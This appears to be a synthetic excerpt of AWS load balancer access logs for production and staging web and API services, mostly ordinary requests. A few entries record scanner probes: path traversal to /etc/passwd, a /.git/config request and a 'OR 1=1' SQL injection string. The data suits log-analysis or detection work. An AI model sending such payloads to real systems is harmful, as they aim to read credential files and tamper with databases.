2024-11-01T02:05:55.279950Z "forward" "-" "-" "84.103.235.80:443" "200" "-" "-" +https 2024-11-01T02:05:57.129624Z staging-alb 81.28.63.159:38071 57.132.126.166:8080 0.004874 0.406187 0.124926 301 301 649 12159 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d515-75c7be85b6e4452c90a23fc4" "staging-alb.example.com" "-" 2 2024-11-01T02:05:57.129624Z "forward" "-" "-" "57.132.126.166:8080" "301" "-" "-" +https 2024-11-01T02:05:57.860312Z staging-alb 14.173.55.16:51485 212.53.227.175:80 0.113379 0.336919 0.121034 200 200 243 5190 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d515-d12348da2fb1455dba9e02e7" "staging-alb.example.com" "-" 9 2024-11-01T02:05:57.860312Z "forward" "-" "-" "212.53.227.175:80" "200" "-" "-" +https 2024-11-01T02:05:59.767600Z prod-web-alb 70.49.160.141:35541 10.0.147.69:443 0.099616 0.138048 0.085033 200 200 751 11251 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d517-541ad8da179b49458263cbdd" "prod-web-alb.example.com" "-" 8 2024-11-01T02:05:59.767600Z "forward" "-" "-" "10.0.147.69:443" "200" "-" "-" +https 2024-11-01T02:06:01.143903Z prod-api-alb 158.167.48.52:27494 10.0.157.7:443 0.037954 0.111156 0.018770 200 200 217 3520 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d519-83fa59adc59e424880309080" "-" "-" 9 2024-11-01T02:06:01.143903Z "forward" "-" "-" "10.0.157.7:443" "200" "-" "-" +https 2024-11-01T02:06:02.988427Z staging-alb 238.223.24.208:12260 57.232.116.222:443 0.059365 0.114823 0.063447 200 200 562 2159 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d51a-3c7e3cb07bbf482d98cbb8b2" "staging-alb.example.com" "-" 8 2024-11-01T02:06:02.988427Z "forward" "-" "-" "57.232.116.222:443" "200" "-" "-" +https 2024-11-01T02:06:04.693851Z prod-api-alb 45.155.205.14:56169 10.0.127.127:443 0.037372 0.273088 0.037695 403 403 719 339 "GET /../../../etc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d51c-64fc74e6f4d34616964f9ae7" "-" "-" 9 2024-11-01T02:06:04.693851Z "forward" "-" "-" "10.0.127.127:443" "403" "-" "-" +https 2024-11-01T02:06:05.281945Z prod-web-alb 240.31.75.58:13401 10.0.152.91:443 0.048141 0.285118 0.024214 200 200 883 3853 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d51d-e2f8e19c02864953b5aabfab" "prod-web-alb.example.com" "-" 0 2024-11-01T02:06:05.281945Z "forward" "-" "-" "10.0.152.91:443" "200" "-" "-" +https 2024-11-01T02:06:06.568613Z prod-web-alb 193.27.228.87:54102 10.0.126.15:443 0.043254 0.066552 0.019567 301 301 932 9677 "GET /.git/config HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d51e-ea11e0153c484a48a56f5e0e" "-" "-" 0 2024-11-01T02:06:06.568613Z "forward" "-" "-" "10.0.126.15:443" "301" "-" "-" +https 2024-11-01T02:06:06.742462Z prod-api-alb 197.79.17.65:52670 10.0.54.90:443 0.004867 0.181765 0.057891 200 200 784 13974 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d51e-d98a7da0f48a4260b9c717fb" "prod-api-alb.example.com" "-" 5 2024-11-01T02:06:06.742462Z "forward" "-" "-" "10.0.54.90:443" "200" "-" "-" +https 2024-11-01T02:06:07.421745Z prod-api-alb 53.61.57.212:51517 10.0.60.243:443 0.032990 0.374594 0.015905 200 200 839 8051 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d51f-82e47928b8a54d9e8b810bdb" "prod-api-alb.example.com" "-" 9 2024-11-01T02:06:07.421745Z "forward" "-" "-" "10.0.60.243:443" "200" "-" "-" +https 2024-11-01T02:06:08.837514Z prod-api-alb 60.166.163.139:38522 10.0.81.104:443 0.009033 0.421405 0.058759 302 302 300 14850 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d520-fa5881ab00204f0b97ff3f56" "prod-api-alb.example.com" "-" 5 2024-11-01T02:06:08.837514Z "forward" "-" "-" "10.0.81.104:443" "302" "-" "-" +https 2024-11-01T02:06:09.087677Z staging-alb 67.86.223.50:38261 85.175.249.167:8080 0.097760 0.137515 0.004537 302 302 981 8760 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d521-fd446dc39f694c46b90a0e78" "staging-alb.example.com" "-" 4 2024-11-01T02:06:09.087677Z "forward" "-" "-" "85.175.249.167:8080" "302" "-" "-" +https 2024-11-01T02:06:09.755647Z prod-web-alb 25.120.142.159:25689 10.0.85.240:443 0.082695 0.157421 0.046144 404 404 29 14714 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d521-7132aedd9a6644f185e19b5a" "prod-web-alb.example.com" "-" 7 2024-11-01T02:06:09.755647Z "forward" "-" "-" "10.0.85.240:443" "404" "-" "-" +https 2024-11-01T02:06:09.982034Z prod-api-alb 60.159.114.77:13504 10.0.89.50:443 0.035091 0.075728 0.012425 301 301 971 8665 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d521-618ab44106944210b7ca7740" "prod-api-alb.example.com" "-" 10 2024-11-01T02:06:09.982034Z "forward" "-" "-" "10.0.89.50:443" "301" "-" "-" +http 2024-11-01T02:06:11.652683Z staging-alb 218.103.48.83:61128 186.108.122.131:80 0.042488 0.704250 0.035006 200 200 470 12331 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d523-c7d5ee6ad1974db98fe7417b" "staging-alb.example.com" "-" 7 2024-11-01T02:06:11.652683Z "forward" "-" "-" "186.108.122.131:80" "200" "-" "-" +https 2024-11-01T02:06:13.397027Z prod-api-alb 77.175.115.163:34846 10.0.111.155:443 0.007787 0.447458 0.054796 200 200 877 1748 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d525-4ea2f74b221b49b3aa0101bb" "prod-api-alb.example.com" "-" 0 2024-11-01T02:06:13.397027Z "forward" "-" "-" "10.0.111.155:443" "200" "-" "-" +https 2024-11-01T02:06:13.861591Z prod-api-alb 185.181.68.44:57412 10.0.249.1:443 0.070950 0.160474 0.026988 403 403 392 7579 "GET /../../../etc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d525-7ee3819f823a4b98ad201a41" "-" "-" 0 2024-11-01T02:06:13.861591Z "forward" "-" "-" "10.0.249.1:443" "403" "-" "-" +https 2024-11-01T02:06:15.832682Z staging-alb 229.70.209.58:30770 223.252.4.2:80 0.049231 0.013669 0.083636 301 301 245 11029 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d527-4a2a2372f75b47b393fbc460" "staging-alb.example.com" "-" 4 2024-11-01T02:06:15.832682Z "forward" "-" "-" "223.252.4.2:80" "301" "-" "-" +https 2024-11-01T02:06:16.435204Z prod-web-alb 59.90.81.70:61855 10.0.149.52:443 0.056025 0.076233 0.059343 200 200 178 4165 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d528-e297990421af418d8a655f62" "prod-web-alb.example.com" "-" 2 2024-11-01T02:06:16.435204Z "forward" "-" "-" "10.0.149.52:443" "200" "-" "-" +https 2024-11-01T02:06:17.619454Z prod-web-alb 111.58.192.225:47453 10.0.118.19:443 0.054096 0.396551 0.022329 200 200 710 12794 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d529-8bba5dac70b04a3381f3901b" "prod-web-alb.example.com" "-" 4 2024-11-01T02:06:17.619454Z "forward" "-" "-" "10.0.118.19:443" "200" "-" "-" +http 2024-11-01T02:06:18.419658Z staging-alb 111.84.93.127:28103 5.5.55.135:8080 0.115732 0.360046 0.132081 404 404 30 6123 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d52a-2e88719b539349c18957f37d" "staging-alb.example.com" "-" 7 2024-11-01T02:06:18.419658Z "forward" "-" "-" "5.5.55.135:8080" "404" "-" "-" +https 2024-11-01T02:06:19.775470Z prod-web-alb 67.196.213.39:32593 10.0.233.191:443 0.092923 0.485497 0.089647 302 302 5 532 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d52b-d54c5c59319b419e85f875ab" "prod-web-alb.example.com" "-" 1 2024-11-01T02:06:19.775470Z "forward" "-" "-" "10.0.233.191:443" "302" "-" "-" +https 2024-11-01T02:06:21.397237Z prod-api-alb 202.55.171.164:33844 10.0.104.96:443 0.011153 0.152024 0.093489 301 301 124 6088 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d52d-4410f40b5e094359a5886e12" "prod-api-alb.example.com" "-" 1 2024-11-01T02:06:21.397237Z "forward" "-" "-" "10.0.104.96:443" "301" "-" "-" +https 2024-11-01T02:06:21.710466Z prod-api-alb 181.4.83.67:14253 10.0.136.23:443 0.095119 0.187352 0.029404 200 200 716 13758 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d52d-d3a5b7fc43a44303bb022a39" "prod-api-alb.example.com" "-" 10 2024-11-01T02:06:21.710466Z "forward" "-" "-" "10.0.136.23:443" "200" "-" "-" +http 2024-11-01T02:06:22.551178Z staging-alb 141.94.161.25:49720 115.226.91.151:8080 0.022561 0.316326 0.008435 200 200 340 5206 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d52e-e340f136aff2452ab12b872c" "staging-alb.example.com" "-" 10 2024-11-01T02:06:22.551178Z "forward" "-" "-" "115.226.91.151:8080" "200" "-" "-" +https 2024-11-01T02:06:22.822492Z staging-alb 87.92.172.164:29923 167.189.65.77:443 0.108615 0.316824 0.071504 302 302 118 8848 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d52e-22365e23cdf24b6a87944b71" "staging-alb.example.com" "-" 9 2024-11-01T02:06:22.822492Z "forward" "-" "-" "167.189.65.77:443" "302" "-" "-" +https 2024-11-01T02:06:23.459400Z prod-web-alb 227.194.80.78:31324 10.0.121.140:443 0.040855 0.227547 0.029851 200 200 628 2574 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d52f-4d8fdeec85b94341a111a85d" "prod-web-alb.example.com" "-" 10 2024-11-01T02:06:23.459400Z "forward" "-" "-" "10.0.121.140:443" "200" "-" "-" +https 2024-11-01T02:06:25.445147Z staging-alb 126.114.164.29:40615 111.115.77.125:8080 0.035612 0.673080 0.045934 200 200 754 805 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d531-9ad75b97bfe6424f922fe8e4" "staging-alb.example.com" "-" 7 2024-11-01T02:06:25.445147Z "forward" "-" "-" "111.115.77.125:8080" "200" "-" "-" +https 2024-11-01T02:06:26.396327Z prod-api-alb 92.114.77.147:36282 10.0.251.207:443 0.023898 0.148143 0.028546 200 200 347 4395 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d532-1552d31cc29b4ab9b12f1e01" "prod-api-alb.example.com" "-" 1 2024-11-01T02:06:26.396327Z "forward" "-" "-" "10.0.251.207:443" "200" "-" "-" +https 2024-11-01T02:06:27.621023Z staging-alb 187.5.132.62:54823 157.109.23.8:443 0.011282 0.509852 0.137629 404 404 112 1932 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d533-78e641c0432243fb9ef77b03" "staging-alb.example.com" "-" 2 2024-11-01T02:06:27.621023Z "forward" "-" "-" "157.109.23.8:443" "404" "-" "-" +http 2024-11-01T02:06:28.168119Z staging-alb 32.148.199.182:18600 40.180.220.162:80 0.022039 0.126555 0.011249 302 302 359 3650 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d534-046aa906e9ff4f068f701869" "staging-alb.example.com" "-" 10 2024-11-01T02:06:28.168119Z "forward" "-" "-" "40.180.220.162:80" "302" "-" "-" +https 2024-11-01T02:06:28.717603Z prod-api-alb 115.48.43.144:24759 10.0.106.250:443 0.072565 0.132324 0.094266 200 200 45 9527 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d534-d0bc4e7a0904414789ddc86c" "prod-api-alb.example.com" "-" 10 2024-11-01T02:06:28.717603Z "forward" "-" "-" "10.0.106.250:443" "200" "-" "-" +https 2024-11-01T02:06:29.875123Z prod-api-alb 77.26.68.159:28622 10.0.37.230:443 0.096524 0.436795 0.046976 200 200 398 7103 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d535-8152e8ce30f743c3b1d39d6f" "prod-api-alb.example.com" "-" 4 2024-11-01T02:06:29.875123Z "forward" "-" "-" "10.0.37.230:443" "200" "-" "-" +https 2024-11-01T02:06:31.613727Z prod-api-alb 230.229.18.157:52438 10.0.248.31:443 0.066454 0.375262 0.098440 200 200 297 9938 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d537-86d51f6daf4548ba94871dbe" "prod-api-alb.example.com" "-" 4 2024-11-01T02:06:31.613727Z "forward" "-" "-" "10.0.248.31:443" "200" "-" "-" +https 2024-11-01T02:06:32.605208Z staging-alb 164.17.73.160:20880 221.47.10.23:80 0.108764 0.214317 0.130520 200 200 349 8623 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d538-5528bed6762949daa6883f91" "staging-alb.example.com" "-" 7 2024-11-01T02:06:32.605208Z "forward" "-" "-" "221.47.10.23:80" "200" "-" "-" +https 2024-11-01T02:06:34.117396Z prod-api-alb 194.175.206.123:57463 10.0.84.46:443 0.076038 0.111108 0.081869 301 301 950 11711 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d53a-7a05ce2eabfb46ab8a4f4dbf" "prod-api-alb.example.com" "-" 2 2024-11-01T02:06:34.117396Z "forward" "-" "-" "10.0.84.46:443" "301" "-" "-" +https 2024-11-01T02:06:34.520218Z prod-web-alb 216.99.173.85:38522 10.0.124.35:443 0.090012 0.134444 0.084585 302 302 152 4080 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d53a-eddbbe94204f463b90a3993e" "prod-web-alb.example.com" "-" 3 2024-11-01T02:06:34.520218Z "forward" "-" "-" "10.0.124.35:443" "302" "-" "-" +https 2024-11-01T02:06:35.072892Z prod-web-alb 174.171.190.86:36355 10.0.250.148:443 0.067959 0.097182 0.047960 200 200 413 365 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d53b-575dbbca4ae64dda8b2bcce5" "prod-web-alb.example.com" "-" 6 2024-11-01T02:06:35.072892Z "forward" "-" "-" "10.0.250.148:443" "200" "-" "-" +https 2024-11-01T02:06:35.174142Z prod-web-alb 45.155.205.164:30125 10.0.232.4:443 0.062570 0.020766 0.003075 500 500 306 1656 "POST /users?id=1 OR 1=1 HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d53b-b4fc97ba8aef4843a4059b9d" "-" "-" 7 2024-11-01T02:06:35.174142Z "forward" "-" "-" "10.0.232.4:443" "500" "-" "-" +http 2024-11-01T02:06:35.409994Z staging-alb 90.73.100.19:21366 159.21.10.169:8080 0.058483 0.675357 0.017492 301 301 335 1007 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d53b-656534a47e63494eaa4811a6" "staging-alb.example.com" "-" 7 2024-11-01T02:06:35.409994Z "forward" "-" "-" "159.21.10.169:8080" "301" "-" "-" +https 2024-11-01T02:06:36.223773Z prod-web-alb 46.8.153.208:46945 10.0.195.169:443 0.080795 0.140360 0.036206 200 200 196 7798 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d53c-6fb1496ab3b44537a5b29b58" "prod-web-alb.example.com" "-" 10 2024-11-01T02:06:36.223773Z "forward" "-" "-" "10.0.195.169:443" "200" "-" "-" +https 2024-11-01T02:06:36.553932Z prod-web-alb 82.255.136.117:24996 10.0.85.33:443 0.044571 0.113276 0.021013 200 200 202 5485 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d53c-119929eba9bd4791a0dcd938" "prod-web-alb.example.com" "-" 8 2024-11-01T02:06:36.553932Z "forward" "-" "-" "10.0.85.33:443" "200" "-" "-" +https 2024-11-01T02:06:36.705894Z staging-alb 26.145.99.95:45948 18.110.203.79:8080 0.093355 0.431881 0.059442 200 200 30 615 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d53c-b49c80096b55491a8a1f8bb1" "staging-alb.example.com" "-" 8 2024-11-01T02:06:36.705894Z "forward" "-" "-" "18.110.203.79:8080" "200" "-" "-" +http 2024-11-01T02:06:37.692808Z staging-alb 19.242.188.193:12901 4.180.113.59:80 0.015416 0.652842 0.137839 301 301 356 6098 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d53d-e296742bc28a44aa91054d8a" "staging-alb.example.com" "-" 8 2024-11-01T02:06:37.692808Z "forward" "-" "-" "4.180.113.59:80" "301" "-" "-" +https 2024-11-01T02:06:39.518703Z prod-web-alb 10.78.135.127:38018 10.0.176.139:443 0.071412 0.386853 0.054194 301 301 989 5529 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d53f-b0c71ee5bbcd49e6a5aa1706" "prod-web-alb.example.com" "-" 7 2024-11-01T02:06:39.518703Z "forward" "-" "-" "10.0.176.139:443" "301" "-" "-" +https 2024-11-01T02:06:40.864605Z prod-web-alb 23.247.34.239:31646 10.0.29.169:443 0.014197 0.281743 0.029832 302 302 545 1991 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d540-872f14051f2f4773b83d9493" "prod-web-alb.example.com" "-" 6 2024-11-01T02:06:40.864605Z "forward" "-" "-" "10.0.29.169:443" "302" "-" "-" +https 2024-11-01T02:06:41.192580Z prod-api-alb 163.27.79.55:56244 10.0.194.3:443 0.032816 0.174261 0.065436 301 301 815 13542 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d541-d07fa7072317466083a264a2" "prod-api-alb.example.com" "-" 1 2024-11-01T02:06:41.192580Z "forward" "-" "-" "10.0.194.3:443" "301" "-" "-" +https 2024-11-01T02:06:41.305749Z prod-api-alb 88.11.30.68:46810 10.0.105.129:443 0.012280 0.356972 0.057270 200 200 345 4240 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d541-2aa0eeb0d5bd4627a448643e" "prod-api-alb.example.com" "-" 7 2024-11-01T02:06:41.305749Z "forward" "-" "-" "10.0.105.129:443" "200" "-" "-" +https 2024-11-01T02:06:42.077517Z prod-api-alb 9.33.158.141:36782 10.0.52.118:443 0.030687 0.399601 0.003572 404 404 450 7384 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 